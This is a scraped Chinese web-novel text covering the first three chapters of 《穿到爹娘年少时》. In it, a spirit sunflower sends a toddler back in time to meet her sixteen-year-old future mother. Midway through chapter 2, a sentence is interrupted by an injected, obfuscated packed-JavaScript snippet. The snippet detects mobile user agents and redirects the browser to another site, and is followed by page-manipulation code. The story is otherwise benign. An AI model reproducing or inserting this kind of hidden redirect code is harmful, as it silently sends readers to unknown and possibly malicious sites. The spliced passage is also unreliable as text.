《穿到爹娘年少时》 1. 回乡,怪梦 “你娘亲死了,你要有后娘喽!” “陆葵葵,没了娘,葵葵不开花,你是小可怜!” 县衙内宅后门,三岁半的陆葵葵梳着双髻,斜挎一个葵花小包,听着小伙伴的恐吓与嘲笑声,陆葵葵攥着小拳头,“娘亲没有死!” “你娘亲就是死了,我听我娘说的!现在外面又有那么多流民和山匪,你娘亲就是没死,也没什么好下场!我娘还说,别看你娘亲长得好看,但要不了两年你估计就要有后娘了!陆葵葵,要是你后娘打你,不给你饭吃,我允许你来我们家吃,你要的小木剑我也给你,只要你乖乖让我捏脸,不再咬人!哼,别看你前几天刚咬过我,但我比你大,不和你一般见识。” 说话的这个胖萝卜叫张茂茂,经常欺负其他小伙伴,前段时间还非要捏陆葵葵的脸颊,陆葵葵不同意,张茂茂就使劲掐她的脸不松手,把陆葵葵疼到眼泪都出来了,陆葵葵这才咬了他的胳膊。 陆葵葵气得涨红了脸,“我才不上你家吃饭,也不要你的小木剑了,我娘亲肯定没有死!” “你不信我的话?真是好心当成驴肝肺!”张茂茂吼起来,“我娘说的是真的,那么多话本子里都把你娘亲写死了,还把你也成了个坏葵葵,想当你后娘的人多着呢!那些话本子我娘都看过。” 陆葵葵:“看话本不好!你娘为什么要看?” “我……”张茂茂说不出来话,“我不要再来找你了,你也别想要我的小木剑,你后娘拿针扎你,只让你喝米粥不吃肉,你就饿着肚子吧!她还会再给你生个弟弟妹妹,你娘亲给你买的珠花,你爹爹给你做的木马摇,都会被你后娘抢走,到时候我才不来救你……” 陆葵葵不相信娘亲会离开她,也不想再听张茂茂说话,可张茂茂一直说个不停,比娘亲讲的睡前故事里那只会吃人的大灰狼还要让人害怕,陆葵葵红了眼眶,“你别说了!” “我就要说,谁让你不相信我?”张茂茂做了个鬼脸,“你娘亲就是死了,略!” 张茂茂又唱了一遍自己编的顺口溜,但陆葵葵觉得那几句一点都不好听! 大颗大颗眼泪砸下来,陆葵葵的小脸儿被打湿,看着张茂茂那让人讨厌的鬼脸,她小小的身体涌出无穷的力量,张茂茂比她高比她力气大,但陆葵葵强忍着害怕,气呼呼冲了上去。 听到动静,奶娘赶来把两人分开,陆葵葵脸上被掐出好几道印子,双髻也散了。奶娘急忙用巾帕给她热敷,见陆葵葵水汪汪的大眼睛都哭肿了,奶娘欲把她挎在腰间的葵花小包取下来,准备让陆葵葵睡一觉,陆葵葵却不愿意,“葵葵想娘亲了!” 奶娘叹口气,大人外放来到思南县当县令快五年了,再有一年多就满两任,在民生和教化上有功,去年年末还破了一桩“官员赴任路上被暗害,异姓结拜兄弟顶替十五年,儿子终手刃杀父仇人”的大案,受到圣人嘉奖,升迁指日可待,本是大喜事,然而月初夫人回乡祭拜亲人,途经的一县有流民作乱,当地县令隐瞒了旱灾闹饥荒流民聚集的消息,夫人和一众护卫失去消息,生死未卜,大人去找夫人也还没有归来,小姐快一个月没见到夫人,这段时间传出了不少流言。 小姐不是闹腾不懂事的性子,平日一个人在小花园都能玩上半天,若非方才的那些话太难听,是不会和张主簿的小儿子打架的。 重新梳好双髻,奶娘哄道:“夫人养的葵花还未开花,小姐去浇浇水吧,这样等夫人回来就能看到葵花了。” 陆葵葵仰着小脸儿,“奶娘,娘亲什么时候能回来?” 奶娘:“小姐,这说不准呢,许是快了。” 陆葵葵又想起一个问题,“奶娘,张茂茂说的是什么话本?为什么要把娘亲写死,把葵葵也写成坏人?” 奶娘一时语塞,大人任河清县县令,有些话本子就以大人为原型来夸赞大人,可渐渐变了味,出现了一些不要脸的人,写出了一些不要脸的话本子,把夫人和陆葵葵写的又坏又恶毒,没有好下场。前段时间大人一把火把这些话本都烧了,那些不要脸的人才消停下来! 奶娘只好道:“那是坏人写的!等葵花开花了,许是夫人就回来了,小姐去小花园吧!” 一听这话,陆葵葵忘记了话本子的事,赶忙去了小花园。 小花园里只有一株向日葵,比陆葵葵的个头要高不少,娘亲说这可能是株有灵气的葵花,让陆葵葵不能折枝、要好好保护,不然向日葵也是会感到疼的,就像她摔倒流血一样疼。 三月春光浓,不过向日葵花盘未绽,还是和叶子一样的绿色。 夏季才是向日葵的花期,陆葵葵不知道这些,她认认真真浇了满壶的水,在葵花旁坐下,腰间坠着的小包落在草地上,奶声奶气地道:“小葵,我多给你浇几遍水,给你吃透花糍,还给你喂肉肉,你明天就开花好不好?开花了,娘亲就能回来了!” 小葵是陆葵葵起的名字,虽然这株向日葵看着很寻常,除了通体碧绿如玉外,和其他草木没有不同,但陆葵葵很听娘亲的话,从来不摘向日葵的花瓣和叶子,有时候还会把透花糍和糖葫芦咬成两半埋到地里“喂”向日葵,既然它会感到痛,那它应该也会肚子饿吧? 答应过娘亲要保护向日葵,陆葵葵也是在葵花开的时候来到世上的,对于陆葵葵来说,虽不会说话但向日葵是她的玩伴。 它是小葵,她叫葵葵,她们两个都是小葵花! 一朵“小葵花”看向高高的、未开合的另一朵,抿着小嘴,“小葵,娘亲没有死,对不对?张茂茂和张家婶婶是在骗人!娘亲说过会一直陪着葵葵的,爹爹肯定能找到娘亲!” 陆葵葵好想好想见到娘亲,想扑到娘亲香香软软的怀抱里,想被娘亲牵着小手,想告诉娘亲自己这一个月有乖乖听话,如果娘亲在,看到张茂茂打她,一定会给她呼呼,会让张茂茂那个胖萝卜来给她赔礼道歉。 其实和张茂茂打架,她手好痛的,脸脸也好痛。 眨眨眼睛,春风拂过,翠绿的向日葵摇曳,晶莹的泪珠也从陆葵葵的眸子里流了出来,打湿脸上的伤痕! 她并没有得到小葵的回答,奶娘去拿陆葵葵最爱玩的木马摇来哄她,小花园里很安静,陆葵葵难过地躺下来,慢慢睡着了。 向日葵挺拔,永远向着阳光,旁边睡着的女童好像遇到了世上最让人难过的事情,依然在抽泣,卷翘细密的长睫湿漉漉的。明媚的日光洒在陆葵葵的身上,她心里的思念、害怕、委屈与悲伤,盛满了那颗小小的心,却是一丝也没有被赶出来。 一人一葵,粉雕玉琢的小姑娘说起了梦话,“小葵,我想找娘亲……” 又一阵微风吹来,这一次,在没有人看到的时候,向日葵紧闭的花盘竟突然绽放,瞬间由翠绿变为烂漫,瓣瓣在日光下仿佛闪烁着璀璨金光,日光斜射,道道金光朝陆葵葵飘去。 向日葵开花了! 不过几息的功夫,风止,挺拔的向日葵依旧是之前未开合的模样,通体翠绿,静静立在小花园里,仿佛方才什么都没发生,只是错觉,亦或只是一场幻术。 * 叶醒枝第一次回山下村,是为操办舅舅的后事。 还未出正月,收到母亲李庭芳从汴州的加急来信,叶醒枝得知舅舅离世的消息。 汴洛二州相距不远,然李庭芳怀胎八月无法赶路,不能回乡,派了府中张管家去操办后事。李庭芳嘱咐叶醒枝勿太过悲伤,路程遥远,亦不必回去祭奠,等定下亲事日后有时间再回去磕头也不迟,这也是叶醒枝舅舅的遗言。 李庭芳改嫁后先生下一子,如今又怀上第二胎就快临盆,可叶醒枝怎能不回去?自幼舅舅就很疼她,自六岁那年母亲与父亲和离后,舅舅给她的关爱,比她的亲生父亲还要多。 叶醒枝的父母也是一对负心郎和糟糠妻的故事。 叶醒枝的舅舅是商人,在洛州河清县开酒楼,到了谈婚论嫁的年纪,叶醒枝的母亲李庭芳遇到了一表人才但家中贫寒的叶显山。 当年的叶显山,连给亡父买口三等棺材的银子都拿不出来,是叶醒枝的舅舅帮忙买棺下葬。见其踏实上进,等叶显山求娶李庭芳后,叶醒枝的舅舅更是拿了大笔银子助叶显山去长安赶考。第一次春闱,叶显山落榜,直至高中,期间一切花费都是叶醒枝舅舅所出。 叶醒枝舅舅只有一个条件,那就是叶显山不可纳妾。 可是,在叶醒枝六岁、李庭芳与叶显山婚后第九年的时候,叶显山置别宅妇的消息暴露,他早已有外室且育有一女,更糟糕的是,那外室是叶显山的表妹,那外室的女儿只比叶醒枝小两岁。 算算时间,叶显山应允不纳妾,然而高中几个月后,就别宅藏娇,和孤苦无依前来投奔的周表妹滚到了一张床上。 和叶显山成亲的前几年,李庭芳一直未有喜,好不容易在叶显山高中的前一年,盼来了叶醒枝,不曾想,夫君高中的后一年,便是那外室女出生的日子。 九年的知疼着热、举案齐眉原来都是假的,李庭芳悲痛不已,把全部嫁妆留给女儿叶醒枝,选择与叶显山和离。 和离不久,叶显山就把外室周表妹抬成了妾室,又过两年,李庭芳改嫁汴州。担心叶醒枝受欺负,叶醒枝的舅舅每年都会往叶府送几车年礼,隔几年还会来长安看望叶醒枝,宴客打点,托在长安的相熟之人照拂叶醒枝。 钱财与疼爱,都是舅舅给予叶醒枝的,俗话说有了后娘就有了后爹,若不是有舅舅在,叶醒枝在叶家需得仰周姨娘的鼻息。 叶醒枝回山下村一事,叶显山并不乐意,他只是一个正六品的太学博士,非世家子弟,叶醒枝生母又是商人女,开春后叶醒枝就十六岁了,长安各府的赏花宴不少,到了说亲的年纪,叶醒枝需要在这些宴席上露面,才能找到好亲事。一旦回乡祭奠,便要再耽误一年,叶醒枝的亲事今年是没指望了。 不过,有周姨娘和庶妹的“助力”,叶醒枝最终还是跟着来洛州的商队回到了山下村。 山下村位置偏僻,三面环山,是叶醒枝舅舅和母亲的老家。等叶醒枝回来,在李庭芳派来的张管家操办下,叶醒枝的舅舅已入土为安,虽然没有赶上葬礼,但叶醒枝还是认认真真在舅舅的灵位与墓碑前磕了头。 舅舅只有一女,可怜的是,叶醒枝的这位表姐难产而亡一尸两命,叶醒枝的舅舅悲伤过度,自此身体就不太好了,没有熬过这个春天。至于舅母,叶醒枝从未见过,听说是生下叶醒枝的表姐后,舅母性情大变,常以泪洗面,与叶醒枝的舅舅争吵不休,还闹着要和离。叶醒枝的舅舅挽留不成,只得答应,此后没有续娶。 没有后人烧纸,烧七是叶醒枝和张管家一起操办的,还要整理舅舅的遗物与遗产,叶醒枝会在村里留一段时间。 张管家拿来一个黑漆木盒,里面装的是银票和酒楼的契书。原来叶醒枝的舅舅把八成遗产留给了她,剩下的两成给了李庭芳改嫁后生的大儿子和腹中的那一胎。舅舅知道叶醒枝的性子,得知其病逝的消息是一定会回来奔丧的,于是瞒着叶醒枝,打算等烧七结束再让张管家把这些遗产给她送去,没想到叶醒枝还是回来了。 叶醒枝鼻尖一酸,泪如雨下,舅舅在临终前也在为她打算,要让这些遗产,成为她的依靠! * 村里的日子安宁,请来做饭的李婶子对叶醒枝很是照顾,告诉了她村里的情况与烧七的习俗,山下村有两大姓,一大半人家姓李,剩下的姓徐,同姓间基本都沾亲带故,别看村子位置偏,但大家都能吃饱肚子。 过了七七,李婶子背着竹篓拉上叶醒枝出去挖野菜。 回来山下村,叶醒枝带了一个丫鬟阿杏和一个小厮阿竹,阿杏在洗衣,阿竹去了镇上买东西,春光正好,叶醒枝跟着李婶子出了门。 经过大片菜地,沿着小道前行,从青石台阶下去,来到河边,这里长着几棵一人多高的香椿树,椿芽探头,吐绿舒展,随着泠泠水声,一股浓郁的香气扑鼻。 “这可是好东西,香椿凉拌浇上蒜汁,我都能吃两大碗索饼。”李婶子边说话,边摘那些绿油油的小嫩芽。 叶醒枝不喜吃蒜,不过能看出来香椿是抢手货,因为在她和李婶子来之前,几棵树上的小嫩芽所剩无几,李婶子也只摘了一手窝。 母亲还在叶府的时候,曾让厨娘买过香椿,拌了索饼吃,叶醒枝不好这一口,不过她听说香椿拌豆腐和炒鸡子也好吃。 听叶醒枝这样说,李婶子道:“你要是想吃,我再找找有没有香椿,多给你弄点,让你尝尝味儿。” 离开飘香的香椿,李婶子要去摘野葱,沿着山路而上,叶醒枝肩上和细臂间的披帛在林木间飘扬。 野葱郁郁,和地里的拇指般粗的大葱并不一样,而是短细如韭如草。 叶醒枝蹲下来帮忙,“婶子,这要怎么吃啊?” 李婶子动作很快,“炒了鸡子包饺子、烙盒子都好吃。” 叶醒枝还没吃过野葱做的饺子和韭菜盒子,她有些馋,和李婶子一起拔了好多野葱。 等李婶子又去别处找野葱,叶醒枝拿帕子净了净手,打量四周。村子坐落在山下,这座山叫老李山,名字不太好听,又是深山老林,但入目一片绿,被村民踩出来的山路幽深,越往里树木越高大,需使劲仰头看,那一层层绿意也从嫩黄变为苍翠,像是自银河飘下来的浓雾,遮天蔽日。 树密山高,万木葱郁,参天古木像是活了上千年。与老李山这个名字相反的是,此处山清水秀 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李婶子这话不是在拍马屁,看着叶醒枝这张在翠绿山林里凝脂般的脸庞,李婶子才明白什么叫“美人”。 李婶子见过叶醒枝母亲李庭芳,虽是商户女,但很是貌美,而面前的小娘子,比其母更甚,井天色的齐胸襦裙修身,披帛轻盈垂下,日光自林木落在她面上,乌发雪肤,杏眸清润,颈饰耳坠精致小巧。 小娘子润秀清灵,和这漫山春光相得益彰。 醒枝醒枝,这般的好姿容,枝上的叶儿见到了当然要“醒来”,好一睹芳容。 叶醒枝不好意思笑了笑,“婶子您别打趣我了!” “是真的!”李婶子接着道:“山里有山灵,只要一直住在村里,不动坏心思,就能平安长命,几岁的小孩儿都听说过。不过确实我们村的孩子打小就很少生病,也是附近几个村子最有钱的,有好几户人家的儿子在镇上读书,徐家那个侄子徐行之还去了县学,考上了秀才,村里的人上山也很少有人受伤,大家都说老李山有灵气!” 叶醒枝并未深信不疑,打小她就爱缠着长辈讲鬼故事听,但这些所谓的“亲身经历”,和李婶子口中的故事一样,一般都发生在几十上百年前,主角独自一人在荒无人烟或者深山老林里遇到,然后传了出来,讲故事前必然会加上“听说”这两个字,实际证据是拿不出来的。传说而已,没听说有哪个花神、大蛇和鬼怪跑到城里、市集里被无数百姓亲眼目睹。 李婶子带着她到了半山腰,在一座山神庙前停下,“不能再往里头了,大家上山一般都不往里边去。” 山神庙除了供山下村的村民祈福许愿,也是一道分界线,李婶子和所有村民自幼就被长辈教导不能越过山神庙。 山神庙以外,是村民的地盘,可以挖野菜捡柴火捉野鸡,山神庙往里,是山灵和草木鸟兽的地盘,不可去打扰。 叶醒枝好奇,“那有人去过山里面吗?” 又找到了一片野葱,李婶子不急着摘,“有,就像我刚才说的,遇到大蛇了呗,还有人看到大虫了。去山里头的人少,老一辈是这么说的,几百年前山灵和当时村里的村长立了契约,不能让村民越过山神庙,不然说不准会发生什么事。” “村里有个叫石头的小孩儿,几年前上山掏鸟窝,过了好几天才回来。他说自己过了山神庙,遇到一个老婆子带他去吃鸡腿,锅里还有好多好吃的,他使劲吃,到第二天吃撑了准备回家,老婆子不让他走。那老婆子的手糙得很,像是树皮,不像是人的手。” “石头回不了家,后来看到了他太爷,他太爷死了好多年了,就在山上埋着。他太爷说了不少好话,那老婆子才放人。他太爷对他说这老李山里头有好东西,也有坏东西,都成了精,不让石头再过去山神庙。等到了他太爷的坟前,他太爷不见了,石头遇到了上山找他的爹娘,这才发现自己吃了一嘴巴的蚰蜒,耳朵鼻子里也都是泥巴。他以为自己就在山上待了两天,其实已经过去五六天了!” “为何耳朵鼻子里都是泥巴?”类似的故事叶醒枝听说过,并不新鲜,不过这一点她是第一次听说。 “堵着,人就迷迷糊糊的,啥都听不到了,也闻不到。”李婶子解释道。 山上的温度本就不比山下,李婶子神神叨叨的几番话,周围的日光好像也沁凉了几分,叶醒枝不再询问,心想这老李山或许是有些奇特,但这样的见鬼撞妖传说,哪个地方没有几个呢?当不得真! 回去后李婶子做了野葱饺子、凉拌野葱变蛋和一锅野葱肉沫汤。 在叶醒枝回乡前,张管家便请了李婶子做饭。 饺子小巧,野葱盒子灿灿金黄,咬上一口竟和韭菜做的馅儿一样嫩,酥脆可口。叶醒枝也很爱吃白瓷盘里盛着的变蛋,瓣瓣琥珀色晶莹,搭配着翠绿的野葱,黄绿相间,让她想到了夏日明媚绽放的葵花。当然,食案上的这朵“葵花”,飘着的是陈醋和香油散发的浓郁香味儿,爽口鲜滑。 叶醒枝盛了两勺肉末汤,野葱点点,肉沫嫩滑,李婶子的厨艺着实不错。汤鲜味美,香而不腻,只喝汤叶醒枝一连喝了两小碗,张管家还有阿杏、阿竹等人也是吃了个肚饱。 这是春意盎然的一顿。 第二日叶醒枝又跟着李婶子上了山,昨日看到山神庙,她便打算拜一拜。 与叶醒枝在长安去过的寺庙相比,这座山神庙很是简陋,叶醒枝准备了不少贡品,虔诚敬香,她愿添一大笔香油钱来修缮山神庙,祈求山灵保佑舅舅和表姐下一世投个好胎,一生无虞,顺遂平安! 下山前李婶子要再挖些野葱,野葱烧白鱼和炒腊肉也很美味。 去其他地方找野葱,阿杏过去帮忙,叶醒枝在山神庙周围转了转,四处张望的时候,一株高丈余的向日葵映入眼帘。 这是叶醒枝见过的最奇特的向日葵,虽未开花,但可与大树比个头,又高又大,在日光照射下,片片葵叶流光溢彩,仿佛蕴含灵秀,简直是葵中极品! 叶醒枝仔细打量,发现一只兔子正在奋力啃咬向日葵底部的杆芯和叶子。杆芯只剩一半,那几片叶子也枯黄破损了,不知道这株极品向日葵还能不能成活? 走过去赶走了兔子,想了想,叶醒枝又找了一些树枝和石头,做了个简单的围栏,顺便抓了几把枯叶堆在向日葵的根部。这么高大的向日葵,开花时应该会很漂亮。 忙完这些,李婶子和阿杏也挖好了野葱,今日同样是葱香四溢的一顿。 连着两日上山,用过晚膳,叶醒枝比往常要困的早,以为会一夜好眠,但翌日清晨顶着翘起的一撮儿细发坐起来时,她发了好长时间的呆。 昨夜,叶醒枝做了一个很荒诞的梦,梦到自己在好几本话本子里当反派,她还有一个三岁半的反派女儿! 2. 穿回七年前 白天遇到的那株很奇特的向日葵,也出现在叶醒枝的梦里。 不同的是,这株高高的向日葵开着硕大的花,竟然还会说话:“我叫小葵,是陆葵葵给我起的名字嗷。陆葵葵就是你的女儿,今年三岁半,脸像葵花一样圆。” “七年后的这个时候,你在回山下村为你舅舅扫墓的路上遇到流民,失去了消息,你夫君去找你没找到,陆葵葵也很想你,想要找到你,所以我耗费百年灵力带她去见你。不过出了点问题,一不小心穿到现在了。”右上的一瓣花瓣挠了挠花盘,向日葵说最后一句话的语气有些尴尬。 原来是株“学艺不精法力不深”的向日葵,叶醒枝想,估计它是想挠自己的脑袋吧! “可能是你刚好在山下村,这里又是我的家,灵气充沛,受到感应,就莫名其妙把陆葵葵传送到了这里。”顿了顿,向日葵接着道:“不过这样也好,时间上错了几年,但总比把陆葵葵送到千里之外或者坏人堆里要好。” “我帮你,是要偿还因果,你救了我两次,第一次就是今天。老李山灵气充沛,有山灵保佑,山神被人供奉,泽润万物,我们这些深山里头的花草鸟兽也开了灵智,我都好几百岁了,不过深山里头整日见不到个人影,太没意思了,我跑到了山神庙后边,能听村民们说话吵架,可外头的这些兔子不通灵性,只会来咬我,吃我的根和叶子,要不是你回到山下村帮我赶走了兔子,我就要被兔子咬死啦。” “后来有一年我在山里待腻了,一路向南换地方住,到思南县的时候,我到一个香火旺的寺庙外看热闹,差一点被一个熊孩子连根拔断,又恰巧遇到了你!你认出了我,把我带回你们府里,让我在县衙后院的小花园修养,给我浇水施肥,我的名字就是陆葵葵给起的,她还经常喂我吃透花糍。” 到了县衙,它把自己变得和寻常向日葵差不多高,再也没有熊孩子来拔它的根了,“你和葵葵把我照顾得很好,在县衙里没有人来打扰我,你救了我两次,我也很喜欢待在县衙里,听了不少有意思的官司和秘闻,我需得报恩!” “陆葵葵很想很想你,她哭了好久好久,所以我带她来见你。她奶娘哄她说等我开花了你就能回家,她为了让我快点开花,一天给我浇几遍水,还要喂我吃肉肉,那可不行!”向日葵的两瓣花瓣如同人的食指和拇指一样,比划了个一丢丢的手势,“我可是灵葵,是草木,吃肉会出一些小问题的!” “七年后,好几个地方天灾人祸不断,天道在忙着处理这些大事,应该不会注意到这一件小小小小事,但你可不能泄露出去嗷,不然我和陆葵葵就要完了!你要是还不明白是怎么回事,去买些话本子看看,或者去茶楼听说书,你们人类不是写了很多志怪故事嘛,什么牡丹花妖修成人形爱上了读书人,富家小姐魂灵出窍到了千里之外遇见穷书生,我们葵花也是有灵智的,我给你托梦,可不是在骗你!我记得你还挺喜欢看志怪话本子的,应该能接受的!” “我还要向你道一声谢,是山里的伙伴们托我的,你花银子修缮山神庙后,其他村村民还有镇上的人都来上香,香火比以前旺多了,山里的愿力和灵气也更盛,对我们修炼也有很大的好处,桃花精、野猪妖他们都很感激你。你放心进山,大家不会伤害你的。” “记住,陆葵葵是你的女儿,从七年后来到了现在,你明天就会见到她的,我这是在给你托梦,你可一定要相信!” 向日葵重点强调了最后一段话。 在向日葵要消失的那一刻,叶醒枝眼疾手快拽着她的两瓣花瓣,“你说了这么多,可是我还未定亲,怎么可能有一个三岁半的女儿?” “行叭。”向日葵只好又透露一点消息,“葵葵她爹爹是陆时安,两年后你会和陆时安成亲,随他来到思南县,随后生下陆葵葵。” “陆时安是个好县令,当然爱慕他的女子也不少,有些人写了不少话本子,把你写成恶毒跋扈的反派,把陆葵葵也写成了小反派。” 几本话本子浮在空中,《白眼狼县令夫人出嫁前,女主她重生了》、《穿成极品县令夫人,烂牌打成好牌》、《成亲七年没同房,恶毒反派终下堂》、《和极品县令夫人成对照组后》、《成霸道陆县令白月光后》、《成陆县令的宠妾后,我躺赢了》、《满县衙都在帮我宅斗,极品县令夫人心慌慌》、《被陆县令巧取豪夺后》《在县衙给恶毒小继女当后娘,我一胎六宝》、《真假陆夫人》[注①]…… 叶醒枝:呵,这名字可都真够长的! 叶醒枝只想翻白眼,“你是说,这些话本子里的白眼狼县令夫人、极品县令夫人、恶毒反派、恶毒小继女,指的是我和我那三岁半的女儿陆葵葵?” “是。”向日葵点点头,“有些人爱慕葵葵她爹,有些人暗地里嫉妒你貌美,就故意写了这些话本子,把你和陆葵葵塑造成恶毒反派,男主是陆时安,女主是她们自个儿,好满足她们的假想。” 无语到叶醒枝感觉自己马上要从梦里醒来了,向日葵心道不好,急忙道:“我可是灵葵,预感到你和陆葵葵还会有一灾,好像和这些话本子有关。” 叶醒枝问道:“什么灾难?” 向日葵摇摇头,“我感知不到。不过,就像陆葵葵盼着找到你一样,万事万物皆是如此,如果这些话本子里的某些角色执念太深,又有机缘,许是也能从话本子里穿出来。” 晨光从窗棂进来,回想着这个荒诞的梦,叶醒枝呆呆坐在榻上,向日葵有灵力会说话,她在话本子里当反派,她还有一个三岁半的反派女儿穿回了七年前? 这是什么奇怪的梦?真是太离谱了! 莫不是她这两天听李婶子讲了不少精灵鬼怪故事,所以才会做这种梦?或者是志怪话本子看多了?还是说这两天上山在深山老林里遇到了不干净的东西? 那株向日葵是有些奇特,看着和寻常的向日葵不一样。但是,也不可能会说话啊! 还有那些话本子,可真够让人无语的! 啾啾鸟鸣不断,叶醒枝回过神,她还有正事要忙呢,这只是一个奇怪的噩梦罢了! 对,是噩梦! 偶尔做一个稀奇古怪的梦也正常,叶醒枝没当真,用过早膳,与阿杏一起去村长家商量修缮山神庙的事情。 走在村道上,一阵尖锐悲痛的哭丧声从一户人家后墙钻出来,进入叶醒枝耳中,过了一会儿,到了另一家门前的路上,她又听到了凄凉响亮的哀乐。 哀乐不断,这户人家也有白事,叶醒枝停下,恰好看到了门口的李婶子。 叶醒枝走过去,“婶子。” 李婶子正在和人说闲话,闻言,走了过来步,“这是李大牛家,他老头子八十有六,昨天晚上没了。” 叶醒枝道:“我刚才听到还有一户人家也……” “那是李婆子没了,也八十多岁了,洗头的时候没站住,脑袋磕到地上醒不过来了,可惜了!”李婶子也知道这件事。 叶醒枝和这两位去世的老人并不认识,但也不免有几分惆怅,年轻时,每个人都像盎然生长的花草,可到了晚年,就从青葱草木变成了枯枝落叶,沐浴洗发这样简单日常的事情都能夺去一个老人的命! 不过,接连去世的两位老人也算是喜丧,家人以及李婶子在内的亲戚并不十分悲恸。 李婶子又说她本来打算今天多找些香椿给叶醒枝做炒鸡子和凉拌豆腐,但她和这两户人家是亲戚,走不开。叶醒枝只说不着急,随后和李婶子分开,去了村长家。 村长姓李,叫李春来,不过今日李村长不在家,叶醒枝又回去了老宅。 叶醒枝的舅舅生前在河清县开酒楼,逢年过节才回山下村,李家老宅几十年没怎么住过人,午后,暖日和风,那盎然春意却未能飘进老宅里。小憩醒来,冬日的阴冷仿佛还残留在房中,叶醒枝在屋子里待不住,打算出去走走,赶走身上的冷意。 一大早张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457994|169604||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 管家就离开山下村了,带着下人去县城处理叶醒枝舅舅留下来的遗产和酒楼,李婶子去了老人去世的两家亲戚家帮忙,阿杏来了癸水无精打采不舒服,阿竹在劈柴打水。 整个家闲着的人只有叶醒枝。 在村里闲逛,悲凉的哀乐飘在村子的上空,久久未停,叶醒枝没了闲逛的心思,想了想,一个人去了山上。 其实因着昨夜的梦,她有些许的害怕,暂时不想来到这座有“山灵”的老李山上,但这份害怕只有一二分,无论是那个梦,还是前两天李婶子讲的事情,比如石头撞鬼遇到树妖又遇到了死去的太爷,叶醒枝只当鬼故事听,即便确有此事,也可能是那个叫石头的小孩儿在深山里迷路后太过害怕出现了幻觉,没有人能证明真假。 叶醒枝心中更多的是好奇,想再去看看那株向日葵。并且,山下村偏僻,村里的人她也不认识几个,除了上山也没别的地方去。 走在山道上,寂静山林令人神清气爽,叶醒枝在心里盘算着,烧七也过去了,等张管家处理过舅舅的遗产,再去汴州探望母亲和新出生的弟弟或者妹妹,买些特产,打听是否有商队去往长安,忙完这些,她就可以回长安了。 突然,几声女童灵动的声音在山林里响起,打断她的思绪。 一个梳着双髻的圆脸女童映入叶醒枝的眼帘,女童腰间挎着一个小包,左顾右盼,从微斜的山道上慢慢下来,奶声奶气唤着娘亲。 原来是小孩子迷路了,叶醒枝刚要出声,这时,粉雕玉琢的女童发现了她。 原本一脸迷茫和惊恐的小姑娘,倏然眼睛一亮,不再像刚才那样小心翼翼地走路,如同兔子一样从山上跑了下来,扑到她怀里,发出清脆欢快的一声,“娘亲!” 叶醒枝一愣,低头看向怀里的小姑娘,等彻底看清女童的长相时,她又是一愣。 怀里的女童脸蛋圆圆,两颊有几道红印,细细一看,竟和她长得有几分相像! 叶醒枝弯腰,扶着女童的肩膀,让她从自己的怀里出来,“我不是你娘亲,小姑娘,你叫什么名字?你是来山神庙迷路了吗?我带你去找你娘亲,好不好?” 仰着小脑袋瓜,陆葵葵迷惑地“咦”了一声,“我叫陆葵葵,娘亲,你就是我娘亲呀!” 陆葵葵? 杏眸瞪大,叶醒枝吃惊地看着面前的小姑娘,这不是出现在她梦里的那个名字吗? 是巧合吧? 叶醒枝再一次解释,“我不是你娘亲,小姑娘,我还没成亲呢,和你也不认识,你认错人了,你娘亲叫什么名字?” “小叶子的叶,睡醒的醒,树枝的枝,娘亲你叫枝枝啊!”歪了歪小脑袋瓜,陆葵葵指了指旁边挂满绿叶的大树,还是一脸的不明白。 是她的名字? 浓浓诧异和疑惑从叶醒枝的心头浮出,在山下村待了一个多月,她从来没有见到过这个女童,按理说陆葵葵不该知道她名字的,但保不准从身边人口中听说过。 叶醒枝眉心微蹙,观小姑娘的衣裙和相貌,不太像村中的孩子,她直起身,“你娘亲是村里人还是镇上的?是来山下村走亲戚还是上山拜山神?这样吧,我先带你下山,李婶子还有李村长他们应该会认识你娘亲。” “葵葵不懂,娘亲?”陆葵葵睁大水汪汪的杏眼,娘亲没有带着她走亲戚,是娘亲自己一个人回老家了啊! 娘亲不就在这里吗?虽然今天的娘亲看起来不太一样,像大姐姐一样,但就是她的娘亲啊! 快一个月没有见到娘亲了,不等叶醒枝回答,陆葵葵又扑到她的怀里,“娘亲,葵葵好想你!” 软软糯糯撒着娇的陆葵葵,咧着小嘴巴,好像一朵小葵花!放在平时,叶醒枝定会觉得她很可爱,但此刻的叶醒枝只有满满的震惊和不可置信! 青天白日,她只是上个山,就给人当娘了? 她才十六岁还没定亲,怎么能生出来一个反派“小葵花”? 3. 葵葵她爹爹 叶醒枝确定自己连男子的手都没碰过,也确定自己没有像话本子里那样失过忆或者被下过药,她再次把陆葵葵从怀里拉开,“你多大了?” “葵葵三岁半啦,娘亲!”陆葵葵伸出三根小手指。 还真把她当娘亲了? 小孩子不记事易认错人,留陆葵葵在原地等着,叶醒枝上山寻人,老李山上很是安静,走了一段路,快要到山神庙了也没看到人影,叶醒枝只好先带陆葵葵下山。 牵着陆葵葵的手往回走,叶醒枝道:“我不知你娘亲是谁,我带你去李村长家,他能帮你找到你娘亲。” 有一个县令爹爹,陆葵葵从爹爹口中听过“村长”这个词,仰头看着叶醒枝,“那娘亲你也会去村长家里吗?” 和一个四头身讲道理是讲不通的,叶醒枝已不再纠正,“会,我帮你找你娘亲。” “可你就是葵葵的娘亲呀!”陆葵葵不知道娘亲为什么不认识她了。 莫名其妙被一个从未见过的孩童缠上,非要认她当娘亲,叶醒枝有几分无奈,她不相信昨夜的梦会变成现实,也很确定自己不是这个女童的娘亲。若非此刻是在深山老林,她和山下村绝大数人都不认识,村民们不至于对她别有所图,她一定会以为是有人故意为之。 叶醒枝停下来,“我不是你娘亲,你好好想想你娘亲长什么样。你是独自一人上山,还是和你娘亲在山上分开了?还有其他大人吗?” 话音落下,陆葵葵呆呆看着她,握着叶醒枝的小手松开。 以为陆葵葵是生气了,或是被她这一连串的话吓到了,叶醒枝有些歉疚,“先下山吧。” 走了几步,没有听到身后有动静传来,叶醒枝转过身,只见陆葵葵身子一抽一抽的,小小的一团站在那里,圆脸蛋上挂着一串又一串的泪珠。 